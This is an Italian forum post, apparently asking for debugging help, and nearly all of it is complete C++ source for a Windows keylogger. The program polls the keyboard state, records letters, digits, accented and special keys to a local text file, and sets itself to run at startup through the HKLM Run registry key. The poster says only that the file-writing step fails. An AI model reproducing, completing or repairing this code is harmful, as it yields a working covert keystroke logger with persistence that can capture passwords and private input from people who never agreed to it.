codice:
#include <windows.h>#include <cstring>
#include <fstream>
#include <time.h>
#include <iostream>
#define LOG "cane.txt"
#define PRESS -32767
using namespace std;
// PROTOTIPI FUNZIONI
void scrivi_tasto(char c);
void scrivi_tasto(char c[500]);
void sleep(int mseconds);
void speciali();
void sleep(int mseconds)
{
clock_t goal = mseconds + clock();
while (goal > clock());
}
void scrivi_tasto(char c)
{
ofstream F(LOG, ios::app);
F << c ;
cout << "Ciao!";
}
void scrivi_tasto(char c[500])
{
ofstream F(LOG, ios::app);
F << c ;
cout << "Ciao!";
}
void speciali()
{
if(GetAsyncKeyState(220) == PRESS) scrivi_tasto('\\');
else if(GetAsyncKeyState(188) == PRESS) scrivi_tasto(',');
else if(GetAsyncKeyState(190) == PRESS) scrivi_tasto('.');
else if(GetAsyncKeyState(189) == PRESS) scrivi_tasto('-');
else if(GetAsyncKeyState(186) == PRESS) scrivi_tasto('è');
else if(GetAsyncKeyState(187) == PRESS) scrivi_tasto('+');//Tra lettere accentate
else if(GetAsyncKeyState(192) == PRESS) scrivi_tasto('ò');
else if(GetAsyncKeyState(222) == PRESS) scrivi_tasto('à');
else if(GetAsyncKeyState(191) == PRESS) scrivi_tasto('ù');
else if(GetAsyncKeyState(219) == PRESS) scrivi_tasto('\'');
else if(GetAsyncKeyState(221) == PRESS) scrivi_tasto('ì');
else if(GetAsyncKeyState(226) == PRESS) scrivi_tasto('<');
else if(GetAsyncKeyState(111) == PRESS) scrivi_tasto('/');
else if(GetAsyncKeyState(106) == PRESS) scrivi_tasto('*');
else if(GetAsyncKeyState(109) == PRESS) scrivi_tasto('-');
else if(GetAsyncKeyState(107) == PRESS) scrivi_tasto('+');//Tastierino numerico
else if(GetAsyncKeyState(110) == PRESS) scrivi_tasto('.');
else if(GetAsyncKeyState(VK_DELETE) == PRESS) scrivi_tasto("<CANC>");
else if(GetAsyncKeyState(VK_BACK) == PRESS) scrivi_tasto("<DEL>");
else if(GetAsyncKeyState(VK_ESCAPE) == PRESS) scrivi_tasto("<ESC>");
else if(GetAsyncKeyState(VK_LEFT) == PRESS) scrivi_tasto("<LEFT>");
else if(GetAsyncKeyState(VK_RIGHT) == PRESS) scrivi_tasto("<RIGHT>");
else if(GetAsyncKeyState(VK_UP) == PRESS) scrivi_tasto("<UP>");
else if(GetAsyncKeyState(VK_DOWN) == PRESS) scrivi_tasto("<DOWN>");
else if(GetAsyncKeyState(VK_RETURN) == PRESS) scrivi_tasto("\n");
else if(GetAsyncKeyState(VK_SPACE) == PRESS) scrivi_tasto(" ");
}
// ------------------- INIZIO MAIN
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrevInst,
LPSTR lpCmdLine, int nCmdShow)
{
// ******************************* AUTORUN ***********************************//
HKEY hKey;
LONG err;
TCHAR RegValue[] = "bau";
BYTE ProgramPath[]= "C:\\Users\\Ale\\Desktop\\Lavori Scuola\\Utili\\KeyLogger\\main.exe";
err=RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey);
if(err!= ERROR_SUCCESS) cout << "Error create key";
err=RegSetValueEx(hKey,RegValue,0,REG_SZ,ProgramPath,sizeof(ProgramPath));
if(err!= ERROR_SUCCESS) cout << "Error set value";
RegCloseKey(hKey);
// ****************************** Fine Autorun *******************************//
int cod[20]={48,49,50,51,52,53,54,55,56,57,VK_NUMPAD0,VK_NUMPAD1,VK_NUMPAD2,
VK_NUMPAD3,VK_NUMPAD4,VK_NUMPAD5,VK_NUMPAD6,VK_NUMPAD7,VK_NUMPAD8,VK_NUMPAD9};
char min[20]={'0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5'
,'6','7','8','9'};
char spe[10]={'=','!','"','£','$','%','&','/','(',')'};
int att=0;
while(1)
{
if(GetAsyncKeyState(VK_SHIFT))//Sotto pressione Shift
{
for(int x=65;x<=90;x++)//Rilevamento A-Z Maiuscole
if(GetAsyncKeyState(x)==PRESS)
{ scrivi_tasto(x); cout << "Cane";}
for(int j=0;j<10;j++)//Rilevamento tasti su numeri
if(GetAsyncKeyState(cod[j])==PRESS)
scrivi_tasto(spe[j]);
if(GetAsyncKeyState(192) == PRESS) scrivi_tasto('ç');
else if(GetAsyncKeyState(222) == PRESS) scrivi_tasto('°');
else if(GetAsyncKeyState(191) == PRESS) scrivi_tasto('§');
else if(GetAsyncKeyState(221) == PRESS) scrivi_tasto('^');
else if(GetAsyncKeyState(186) == PRESS) scrivi_tasto('é');
else if(GetAsyncKeyState(187) == PRESS) scrivi_tasto('*');
else if(GetAsyncKeyState(190) == PRESS) scrivi_tasto(':');
else if(GetAsyncKeyState(188) == PRESS) scrivi_tasto(';');
else if(GetAsyncKeyState(189) == PRESS) scrivi_tasto('_');
else if(GetAsyncKeyState(226) == PRESS) scrivi_tasto('>');
}
else if(GetAsyncKeyState(VK_RMENU))//Sotto pressione Alt Gr
{
if(GetAsyncKeyState(192) == PRESS) scrivi_tasto('@');
else if(GetAsyncKeyState(222) == PRESS) scrivi_tasto('#');
else if(GetAsyncKeyState(187) == PRESS) scrivi_tasto(']');
else if(GetAsyncKeyState(186) == PRESS) scrivi_tasto('[');
}
else
{
for(int i=0;i<20;i++)//Rilevamento numeri
if(GetAsyncKeyState(cod[i])==PRESS)
scrivi_tasto(min[i]);
for(int z=65;z<=90;z++)//Rilevamento a-z minuscole
if(GetAsyncKeyState(z)==PRESS)
scrivi_tasto(z+32);
if(GetAsyncKeyState(VK_CAPITAL) == PRESS)//Rilevamento CAPS
{
if(att==0)
{
scrivi_tasto("CAPS Attivato ");
att=1;
}
else
{
scrivi_tasto("CAPS Disattivato ");
att=0;
}
}
speciali();
sleep(25);
}
}
return 0;
}
Il programma, con l'AutoRun presente nel codice, si avvia all'avvio del computer (scusate il gioco di parole), ma l'operazione di scrittura sul file non avviene.